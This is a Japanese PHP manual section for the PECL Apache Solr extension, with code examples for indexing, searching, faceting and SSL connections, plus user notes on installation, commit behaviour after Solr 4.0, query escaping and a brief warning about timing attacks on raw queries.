この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/solr.

ヘルプやサポート用として、このエクステンション用の Google グループがあります。 » Apache Solr PHP Extension をごらんください。

この PECL 拡張モジュールの Windows バイナリ (DLL ファイル) は、PECL のウェブサイトから取得できます。

注意:

Solr モジュールをデバッグモードでコンパイルするには、configure のときに --enable-solr-debug フラグを渡します。

手動でビルドする際には、curl および libxml のサポートを忘れずに含めましょう。

User Contributed Notes

regan 10-Dec-2009 03:19
If you want to add the Solr extension to your exisiting PHP install, you need to make sure you use the same API to build the extension as was used to build PHP or you'll get errors like:

PHP Warning:  PHP Startup: solr: Unable to initialize module\nModule compiled with module API=20060613\nPHP    compiled with module API=20090626\nThese options need to match\n in Unknown on line 0

To avoid this, use your existing phpize and php-config when compiling the extension (change the '/usr/local/php5/' below to whatever your existing path is.)

/usr/local/php5/bin/phpize
./configure --with-php-config=/usr/local/php5/bin/php-config
make
make test
make install


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

SOLR_MAJOR_VERSION (int)
SOLR_MINOR_VERSION (int)
SOLR_PATCH_VERSION (int)
SOLR_EXTENSION_VERSION (string)

User Contributed Notes

There are no user contributed notes for this page.


Solr 関数

目次

  • solr_get_version — Apache Solr エクステンションの現行バージョンを返す

User Contributed Notes

There are no user contributed notes for this page.


Apache Solr エクステンションの現行バージョンを返す

  • ≪ Solr 関数
  • 例 ≫
  • PHP Manual
  • Solr 関数
  • Apache Solr エクステンションの現行バージョンを返す

solr_get_version

(PECL solr >= 0.9.1)

solr_get_version — Apache Solr エクステンションの現行バージョンを返す

説明

solr_get_version ( ) : string

この関数は、エクステンションの現行バージョンを文字列として返します。

パラメータ

この関数にはパラメータはありません。

返り値

成功時に文字列、失敗時に false を返します。

エラー / 例外

この関数はエラーや例外をスローしません。

例

例1 solr_get_version() の例

<?php

$solr_version = solr_get_version();

print $solr_version;

?>

上の例の出力は、 たとえば以下のようになります。

0.9.6

参考

  • SolrUtils::getSolrVersion() - Solr エクステンションの現行バージョンを返す

User Contributed Notes

There are no user contributed notes for this page.


例

PHP で Apache Solr エクステンションを使用する方法の例

例1 ブートストラップ・ファイルの内容

<?php

/* Solr サーバーのドメイン名 */
define('SOLR_SERVER_HOSTNAME', 'solr.example.com');

/* セキュアなモードで動作するかどうか */
define('SOLR_SECURE', true);

/* 接続する HTTP ポート */
define('SOLR_SERVER_PORT', ((SOLR_SECURE) ? 8443 : 8983));

/* HTTP Basic 認証ユーザー名 */
define('SOLR_SERVER_USERNAME', 'admin');

/* HTTP Basic 認証パスワード */
define('SOLR_SERVER_PASSWORD', 'changeit');

/* HTTP 接続タイムアウト */
/* HTTP データ転送動作に許される、秒単位の最大時間。既定値は３０秒 */
define('SOLR_SERVER_TIMEOUT', 10);

/* PEM 形式のプライベートキーとプライベート証明書に対するファイル名（その順序で連結されます） */
define('SOLR_SSL_CERT', 'certs/combo.pem');

/* PEM 形式のプライベート証明書のみに対するファイル名 */
define('SOLR_SSL_CERT_ONLY', 'certs/solr.crt');

/* PEM 形式のプライベートキーに対するファイル名 */
define('SOLR_SSL_KEY', 'certs/solr.key');

/* PEM 形式のプライベートキー・ファイルに対するパスワード */
define('SOLR_SSL_KEYPASSWORD', 'StrongAndSecurePassword');

/* 同等であることを証明する、一つ以上の CA 証明書を持つファイル名 */
define('SOLR_SSL_CAINFO', 'certs/cacert.crt');

/* 同等であることを証明する、複数の CA 証明書があるディレクトリ名 */
define('SOLR_SSL_CAPATH', 'certs/');

?>

例2 インデックスに文書を追加

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$doc = new SolrInputDocument();

$doc->addField('id', 334455);
$doc->addField('cat', 'Software');
$doc->addField('cat', 'Lucene');

$updateResponse = $client->addDocument($doc);

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 446
        )

)

例3 ある文書を他の文書にマージ

<?php

include "bootstrap.php";

$doc = new SolrDocument();

$second_doc = new SolrDocument();

$doc->addField('id', 1123);

$doc->features = "PHP Client Side";
$doc->features = "Fast development cycles";

$doc['cat'] = 'Software';
$doc['cat'] = 'Custom Search';
$doc->cat   = 'Information Technology';

$second_doc->addField('cat', 'Lucene Search');

$second_doc->merge($doc, true);

print_r($second_doc->toArray());

?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [document_boost] => 0
    [field_count] => 3
    [fields] => Array
        (
            [0] => SolrDocumentField Object
                (
                    [name] => cat
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => Software
                            [1] => Custom Search
                            [2] => Information Technology
                        )

                )

            [1] => SolrDocumentField Object
                (
                    [name] => id
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => 1123
                        )

                )

            [2] => SolrDocumentField Object
                (
                    [name] => features
                    [boost] => 0
                    [values] => Array
                        (
                            [0] => PHP Client Side
                            [1] => Fast development cycles
                        )

                )

        )

)

例4 文書を検索 - SolrObject レスポンス

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$response = $query_response->getResponse();

print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334456
                        )

                    [1] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => Software
                                    [1] => Lucene
                                )

                            [id] => 334455
                        )

                    [2] => SolrObject Object
                        (
                            [cat] => Array
                                (
                                    [0] => software
                                    [1] => search
                                )

                            [features] => Array
                                (
                                    [0] => Advanced Full-Text Search Capabilities using Lucene
                                    [1] => Optimized for High Volume Web Traffic
                                    [2] => Standards Based Open Interfaces - XML and HTTP
                                    [3] => Comprehensive HTML Administration Interfaces
                                    [4] => Scalability - Efficient Replication to other Solr Search Servers
                                    [5] => Flexible and Adaptable with XML configuration and Schema
                                    [6] => Good unicode support: hello (hello with an accent over the e)
                                )

                            [id] => SOLR1000
                            [timestamp] => 2009-09-04T20:38:55.906
                        )

                )

        )

)

例5 文書を検索 - SolrDocument レスポンス

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setQuery('lucene');

$query->setStart(0);

$query->setRows(50);

$query->addField('cat')->addField('features')->addField('id')->addField('timestamp');

$query_response = $client->query($query);

$query_response->setParseMode(SolrQueryResponse::PARSE_SOLR_DOC);

$response = $query_response->getResponse();

print_r($response);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [wt] => xml
                    [rows] => 50
                    [start] => 0
                    [indent] => on
                    [q] => lucene
                    [fl] => cat,features,id,timestamp
                    [version] => 2.2
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 3
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 19740
                        )

                    [1] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25485
                        )

                    [2] => SolrDocument Object
                        (
                            [_hashtable_index:SolrDocument:private] => 25052
                        )

                )

        )

)

例6 簡単な TermsComponent 例 - 基本

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

$query->setTermsField('cat');

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 2
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [electronics] => 14
                    [Lucene] => 4
                    [Software] => 4
                    [memory] => 3
                    [card] => 2
                    [connector] => 2
                    [drive] => 2
                    [graphics] => 2
                    [hard] => 2
                    [monitor] => 2
                )

        )

)

例7 簡単な TermsComponent 例 - 接頭辞を使用

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* $prefix で始まる語だけを返す */
$prefix = 'c';

$query->setTermsField('cat')->setTermsPrefix($prefix);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                    [camera] => 1
                    [copier] => 1
                )

        )

)

例8 簡単な TermsComponent 例 - 最小の頻度を指定

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery();

$query->setTerms(true);

/* $prefix で始まる語だけを返す */
$prefix = 'c';

/* 2回以上の頻度の語だけを返す */
$min_frequency = 2;

$query->setTermsField('cat')->setTermsPrefix($prefix)->setTermsMinCount($min_frequency);

$updateResponse = $client->query($query);

print_r($updateResponse->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 0
        )

    [terms] => SolrObject Object
        (
            [cat] => SolrObject Object
                (
                    [card] => 2
                    [connector] => 2
                )

        )

)

例9 簡単なファセット例

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2);

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
            [1] => 3
            [184] => 3
            [2] => 3
            [3200] => 3
            [400] => 3
            [500] => 3
            [ddr] => 3
            [i] => 3
            [ipod] => 3
            [memori] => 3
            [pc] => 3
            [pin] => 3
            [pod] => 3
            [sdram] => 3
            [system] => 3
            [unbuff] => 3
            [canon] => 2
            [corsair] => 2
            [drive] => 2
            [hard] => 2
            [mb] => 2
            [n] => 2
            [power] => 2
            [retail] => 2
            [video] => 2
            [x] => 2
        )

)

例10 簡単なファセット例 - mincount を越える任意の項目と共に

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

例11 Facet Date の例

<?php

include "bootstrap.php";

$options = array
(
        'hostname' => SOLR_SERVER_HOSTNAME,
        'login'    => SOLR_SERVER_USERNAME,
        'password' => SOLR_SERVER_PASSWORD,
        'port'     => SOLR_SERVER_PORT,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetDateField('manufacturedate_dt');

$query->setFacetDateStart('2006-02-13T00:00:00Z');

$query->setFacetDateEnd('2012-02-13T00:00:00Z');

$query->setFacetDateGap('+1YEAR');

$query->setFacetDateHardEnd(1);

$query->addFacetDateOther('before');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_dates;

print_r($facet_data);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [manufacturedate_dt] => SolrObject Object
        (
            [2006-02-13T00:00:00Z] => 9
            [2007-02-13T00:00:00Z] => 0
            [2008-02-13T00:00:00Z] => 0
            [2009-02-13T00:00:00Z] => 0
            [2010-02-13T00:00:00Z] => 0
            [2011-02-13T00:00:00Z] => 0
            [gap] => +1YEAR
            [start] => 2006-02-13T00:00:00Z
            [end] => 2012-02-13T00:00:00Z
            [before] => 2
        )

)

例12 SSL 対応サーバーに接続

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'timeout'  => SOLR_SERVER_TIMEOUT,
    'secure'   => SOLR_SECURE,
    'ssl_cert' => SOLR_SSL_CERT_ONLY,
    'ssl_key'  => SOLR_SSL_KEY,
    'ssl_keypassword' => SOLR_SSL_KEYPASSWORD,
    'ssl_cainfo' => SOLR_SSL_CAINFO,
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$query->setFacet(true);

$query->addFacetField('cat')->addFacetField('name')->setFacetMinCount(2)->setFacetMinCount(4, 'name');

$updateResponse = $client->query($query);

$response_array = $updateResponse->getResponse();

$facet_data = $response_array->facet_counts->facet_fields;

print_r($facet_data);

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [cat] => SolrObject Object
        (
            [electronics] => 14
            [memory] => 3
            [Lucene] => 2
            [Software] => 2
            [card] => 2
            [connector] => 2
            [drive] => 2
            [graphics] => 2
            [hard] => 2
            [monitor] => 2
            [search] => 2
            [software] => 2
        )

    [name] => SolrObject Object
        (
            [gb] => 6
        )

)

例13 Collapsing a SolrQuery

<?php
include "bootstrap.php";

$options = array
(
        'hostname' => SOLR_SERVER_HOSTNAME,
        'login'    => SOLR_SERVER_USERNAME,
        'password' => SOLR_SERVER_PASSWORD,
        'port'     => SOLR_SERVER_PORT,
        'path'     => SOLR_SERVER_PATH
);

$client = new SolrClient($options);

$query = new SolrQuery('*:*');

$collapseFunction = new SolrCollapseFunction('manu_id_s');

$collapseFunction
->setSize(2)
->setNullPolicy(SolrCollapseFunction::NULLPOLICY_IGNORE);

$query
->collapse($collapseFunction)
->setRows(4);

$queryResponse = $client->query($query);

$response = $queryResponse->getResponse();

print_r($response);
?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [responseHeader] => SolrObject Object
        (
            [status] => 0
            [QTime] => 1
            [params] => SolrObject Object
                (
                    [q] => *:*
                    [indent] => on
                    [fq] => {!collapse field=manu_id_s size=2 nullPolicy=ignore}
                    [rows] => 4
                    [version] => 2.2
                    [wt] => xml
                )

        )

    [response] => SolrObject Object
        (
            [numFound] => 14
            [start] => 0
            [docs] => Array
                (
                    [0] => SolrObject Object
                        (
                            [id] => SP2514N
                            [name] => Array
                                (
                                    [0] => Samsung SpinPoint P120 SP2514N - hard drive - 250 GB - ATA-133
                                )

                            [manu] => Array
                                (
                                    [0] => Samsung Electronics Co. Ltd.
                                )

                            [manu_id_s] => samsung
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => 7200RPM, 8MB cache, IDE Ultra ATA-133
                                    [1] => NoiseGuard, SilentSeek technology, Fluid Dynamic Bearing (FDB) motor
                                )

                            [price] => Array
                                (
                                    [0] => 92
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [store] => Array
                                (
                                    [0] => 35.0752,-97.032
                                )

                            [_version_] => 1510294336412057600
                        )

                    [1] => SolrObject Object
                        (
                            [id] => 6H500F0
                            [name] => Array
                                (
                                    [0] => Maxtor DiamondMax 11 - hard drive - 500 GB - SATA-300
                                )

                            [manu] => Array
                                (
                                    [0] => Maxtor Corp.
                                )

                            [manu_id_s] => maxtor
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => hard drive
                                )

                            [features] => Array
                                (
                                    [0] => SATA 3.0Gb/s, NCQ
                                    [1] => 8.5ms seek
                                    [2] => 16MB cache
                                )

                            [price] => Array
                                (
                                    [0] => 350
                                )

                            [popularity] => Array
                                (
                                    [0] => 6
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 45.17614,-93.87341
                                )

                            [manufacturedate_dt] => 2006-02-13T15:26:37Z
                            [_version_] => 1510294336449806336
                        )

                    [2] => SolrObject Object
                        (
                            [id] => F8V7067-APL-KIT
                            [name] => Array
                                (
                                    [0] => Belkin Mobile Power Cord for iPod w/ Dock
                                )

                            [manu] => Array
                                (
                                    [0] => Belkin
                                )

                            [manu_id_s] => belkin
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => connector
                                )

                            [features] => Array
                                (
                                    [0] => car power adapter, white
                                )

                            [weight] => Array
                                (
                                    [0] => 4
                                )

                            [price] => Array
                                (
                                    [0] => 19.95
                                )

                            [popularity] => Array
                                (
                                    [0] => 1
                                )

                            [inStock] => Array
                                (
                                    [0] =>
                                )

                            [store] => Array
                                (
                                    [0] => 45.18014,-93.87741
                                )

                            [manufacturedate_dt] => 2005-08-01T16:30:25Z
                            [_version_] => 1510294336458194944
                        )

                    [3] => SolrObject Object
                        (
                            [id] => MA147LL/A
                            [name] => Array
                                (
                                    [0] => Apple 60 GB iPod with Video Playback Black
                                )

                            [manu] => Array
                                (
                                    [0] => Apple Computer Inc.
                                )

                            [manu_id_s] => apple
                            [cat] => Array
                                (
                                    [0] => electronics
                                    [1] => music
                                )

                            [features] => Array
                                (
                                    [0] => iTunes, Podcasts, Audiobooks
                                    [1] => Stores up to 15,000 songs, 25,000 photos, or 150 hours of video
                                    [2] => 2.5-inch, 320x240 color TFT LCD display with LED backlight
                                    [3] => Up to 20 hours of battery life
                                    [4] => Plays AAC, MP3, WAV, AIFF, Audible, Apple Lossless, H.264 video
                                    [5] => Notes, Calendar, Phone book, Hold button, Date display, Photo wallet, Built-in games, JPEG photo playback, Upgradeable firmware, USB 2.0 compatibility, Playback speed control, Rechargeable capability, Battery level indication
                                )

                            [includes] => Array
                                (
                                    [0] => earbud headphones, USB cable
                                )

                            [weight] => Array
                                (
                                    [0] => 5.5
                                )

                            [price] => Array
                                (
                                    [0] => 399
                                )

                            [popularity] => Array
                                (
                                    [0] => 10
                                )

                            [inStock] => Array
                                (
                                    [0] => 1
                                )

                            [store] => Array
                                (
                                    [0] => 37.7752,-100.0232
                                )

                            [manufacturedate_dt] => 2005-10-12T08:00:00Z
                            [_version_] => 1510294336562003968
                        )

                )

        )

)

例14 Solr Real Time Get (RTG) の例 SolrClient::getById()

<?php

include "bootstrap.php";

$options = array
(
    'hostname' => SOLR_SERVER_HOSTNAME,
    'login'    => SOLR_SERVER_USERNAME,
    'password' => SOLR_SERVER_PASSWORD,
    'port'     => SOLR_SERVER_PORT,
    'path'     => SOLR_SERVER_PATH
);

$client = new SolrClient($options);
$response = $client->getById('GB18030TEST');
print_r($response->getResponse());

?>

上の例の出力は、 たとえば以下のようになります。

SolrObject Object
(
    [doc] => SolrObject Object
        (
            [id] => GB18030TEST
            [name] => Array
                (
                    [0] => Test with some GB18030 encoded characters
                )

            [features] => Array
                (
                    [0] => No accents here
                    [1] => (訳注:ここに記載されている中国語文字列は、英語版マニュアルでご確認ください)
                    [2] => This is a feature (translated)
                    [3] => (訳注:ここに記載されている中国語文字列は、英語版マニュアルでご確認ください)
                    [4] => This document is very shiny (translated)
                )

            [price] => Array
                (
                    [0] => 0
                )

            [inStock] => Array
                (
                    [0] => 1
                )

            [_version_] => 1510294336239042560
        )

)

User Contributed Notes

tomanr1 at wp dot pl 17-Dec-2013 10:22
In case someone would like to use this solrClient with solr v.4.0 and higher i've prepared my own commit function

class solr {
        public function delete($query ) {
                $this->_client->deleteByQuery($query);
                $this->commit();
        }

        public function commit() {
                $solrConfig= // array with solr host, port, path to collection (/solr/my_collection),
                $solrAddress = $solrConfig['hostname'] . ':' . $solrConfig['port'] . $solrConfig['path'];
                $output = array();
                $response = exec('curl ' . $solrAddress . '/update?commit=true', $output);
                return $output;
        }
}
tsengmeat at gmail dot com 12-Oct-2013 02:24
As of solr 4.0 the waitFlush parameter is removed.
If you're using the solr 4.0 or later version (and you have to),when you do this
<?php $client->commit(); ?>
you will get a solr error like this:
"Unknown commit parameter 'waitFlush'."

If you insist on using this PHP Solr extension and solr 4.0 or later version,you can edit the extension's source (version 1.0.2) php_solr_client.c.
for the SolrClient's optimize method:
at line 1490 :
  zend_bool waitFlush = 1, waitSearcher = 1;
  after edited:
  zend_bool waitSearcher = 1;
at line 1493:
  char *waitFlushValue, *waitSearcherValue;
  after edited:
  zend_bool waitSearcher = 1;
at line 1502:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sbb", &maxSegments, &maxSegmentsLen, &waitFlush, &waitSearcher) == FAILURE) {
  after editd:
  if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|sb", &maxSegments, &maxSegmentsLen, &waitSearcher) == FAILURE) {

remove the line 1509 and 1515.

And do the same edit for the SolrClient's commit method at line 1561,1564,1573 and remove the line 1580,1586

The final step, compile the code and install it.
Good luck!
cliff 15-Jun-2012 09:15
As of solr 4.0 the waitFlush parameter is removed.

Source
http://wiki.apache.org/solr/UpdateXmlMessages

$client->commit() throws an error
[SolrClientException]
  Unsuccessful update request. Response Code 400. <?xml version="1.0" encoding="UTF-8"?>
  <response>

  <lst name="responseHeader">
    <int name="status">400</int>
    <int name="QTime">1</int>
  </lst>
  <lst name="error">
    <str name="msg">Unknown commit parameter 'waitFlush'</str>
    <int name="code">400</int>
  </lst>
  </response>
khe77o at gmail dot youknowwhat 15-Mar-2012 05:53
The documentation in the example section doesn't mention that you need to commit once you've added doc(s).

So in short it would be something like:
$client = new SolrClient(array('hostname' => '127.0.0.1', 'port' => 8080));
$doc = new SolrInputDocument();
$doc->addField('id', 12345);
$doc->addField('name', 'some person');

$result = $client->addDocument($doc);

/* you are not done yet, you need to commit */
$client->commit();

Now if you query you should see your doc =]
jschwehn+php at IGNOrMEgmail dot com 29-Oct-2010 06:05
If you are using Solr's multicore feature, you can access the cores via the path parameter in the $options array.
E.g.
<?php
  $options = array(...., 'path' => 'solr/core0', ...);
?>
jschwehn+php.a.t.gmail.com 19-Oct-2010 05:51
If you like to access a different RequestHander than '/select' you can change it via http://php.net/manual/en/solrclient.setservlet.php
bjorn at bjorn-erik dot biz 19-Sep-2010 12:47
If you're testing these examples on a fresh install of solr, you will need to run a commit statement after you add documents to receive results when searching.

For example, add this:
<?php $client->commit(); ?>

to example 3 to be able to get any results when doing a search using example 5.
trickito at yahoo 16-Nov-2009 09:08
if your path to solr is something other than: /solr

you should add this to the bootstrap file above:

define('SOLR_SERVER_PATH', 'my-solr-url');

and then a corresponding entry to the options array in your client php code like:

'path'     => SOLR_SERVER_PATH

I couldn't find this is in the documentation and had to peek at the source to figure it out.


SolrUtils クラス

(PECL solr >= 0.9.2)

はじめに

エクステンションの現行バージョンを取得し、クエリ句を準備するための ユーティリティ・メソッドを含みます。

クエリ文字列をエスケープしたり、XML レスポンスをパースするためのメソッドも含みます。

クラス概要

abstract SolrUtils {
/* メソッド */
public static digestXmlResponse ( string $xmlresponse , int $parse_mode = 0 ) : SolrObject
public static escapeQueryChars ( string $str ) : string|false
public static getSolrVersion ( ) : string
public static queryPhrase ( string $str ) : string
}

目次

  • SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject
  • SolrUtils::escapeQueryChars — Escapes a lucene query string
  • SolrUtils::getSolrVersion — Solr エクステンションの現行バージョンを返す
  • SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

User Contributed Notes

There are no user contributed notes for this page.


Parses an response XML string into a SolrObject

  • ≪ SolrUtils
  • SolrUtils::escapeQueryChars ≫
  • PHP Manual
  • SolrUtils
  • Parses an response XML string into a SolrObject

SolrUtils::digestXmlResponse

(PECL solr >= 0.9.2)

SolrUtils::digestXmlResponse — Parses an response XML string into a SolrObject

説明

public static SolrUtils::digestXmlResponse ( string $xmlresponse , int $parse_mode = 0 ) : SolrObject

This method parses an response XML string from the Apache Solr server into a SolrObject. It throws a SolrException if there was an error.

パラメータ

xmlresponse

The XML response string from the Solr server.

parse_mode

Use SolrResponse::PARSE_SOLR_OBJ or SolrResponse::PARSE_SOLR_DOC

返り値

Returns the SolrObject representing the XML response.

If the parse_mode parameter is set to SolrResponse::PARSE_SOLR_OBJ Solr documents will be parses as SolrObject instances.

If it is set to SolrResponse::PARSE_SOLR_DOC, they will be parsed as SolrDocument instances.

User Contributed Notes

There are no user contributed notes for this page.


Escapes a lucene query string

  • ≪ SolrUtils::digestXmlResponse
  • SolrUtils::getSolrVersion ≫
  • PHP Manual
  • SolrUtils
  • Escapes a lucene query string

SolrUtils::escapeQueryChars

(PECL solr >= 0.9.2)

SolrUtils::escapeQueryChars — Escapes a lucene query string

説明

public static SolrUtils::escapeQueryChars ( string $str ) : string|false

Lucene supports escaping special characters that are part of the query syntax.

The current list special characters are:

+ - && || ! ( ) { } [ ] ^ " ~ * ? : \ /

These characters are part of the query syntax and must be escaped

パラメータ

str

This is the query string to be escaped.

返り値

Returns the escaped string失敗した場合に false を返します.

User Contributed Notes

Ian 30-Jul-2013 08:51
A way of doing that with a regular expression:

<?php
// Lucene characters that need escaping with \ are + - && || ! ( ) { } [ ] ^ " ~ * ? : \
$luceneReservedCharacters = preg_quote('+-&|!(){}[]^"~*?:\\');
$query = preg_replace_callback(
    '/([' . $luceneReservedCharacters . '])/',
    function($matches) {
        return '\\' . $matches[0];
    },
    $query);
?>


Solr エクステンションの現行バージョンを返す

  • ≪ SolrUtils::escapeQueryChars
  • SolrUtils::queryPhrase ≫
  • PHP Manual
  • SolrUtils
  • Solr エクステンションの現行バージョンを返す

SolrUtils::getSolrVersion

(PECL solr >= 0.9.2)

SolrUtils::getSolrVersion — Solr エクステンションの現行バージョンを返す

説明

public static SolrUtils::getSolrVersion ( ) : string

Solr の現行バージョンを返します。

パラメータ

この関数にはパラメータはありません。

返り値

Apache Solr エクステンションの現行バージョン。

User Contributed Notes

There are no user contributed notes for this page.


Prepares a phrase from an unescaped lucene string

  • ≪ SolrUtils::getSolrVersion
  • SolrInputDocument ≫
  • PHP Manual
  • SolrUtils
  • Prepares a phrase from an unescaped lucene string

SolrUtils::queryPhrase

(PECL solr >= 0.9.2)

SolrUtils::queryPhrase — Prepares a phrase from an unescaped lucene string

説明

public static SolrUtils::queryPhrase ( string $str ) : string

Prepares a phrase from an unescaped lucene string.

パラメータ

str

The lucene phrase.

返り値

Returns the phrase contained in double quotes.

User Contributed Notes

quackfish at gmail dot com 08-Nov-2015 01:05
You need to be careful allowing users to use raw queries if you index sensitive information. Cross domain search timing attacks can be used to extract information from an index [1] if your form does not have XSRF protection.

If you allow raw queries it can also allow users to DOS your application by inputting slow queries.

[1] https://www.idontplaydarts.com/2015/09/cross-domain-timing-attacks-against-lucene/
daniel dot allen at commercialtrucktrader dot com 03-Feb-2014 04:04
Doing some tests it would appear that this function also sanitizes input(testing on version above 1.0). And the term "phrase" is not the same as a complete query like "FIELD:THE RIGHT HALF AFTER THE : IS THE PHRASE."

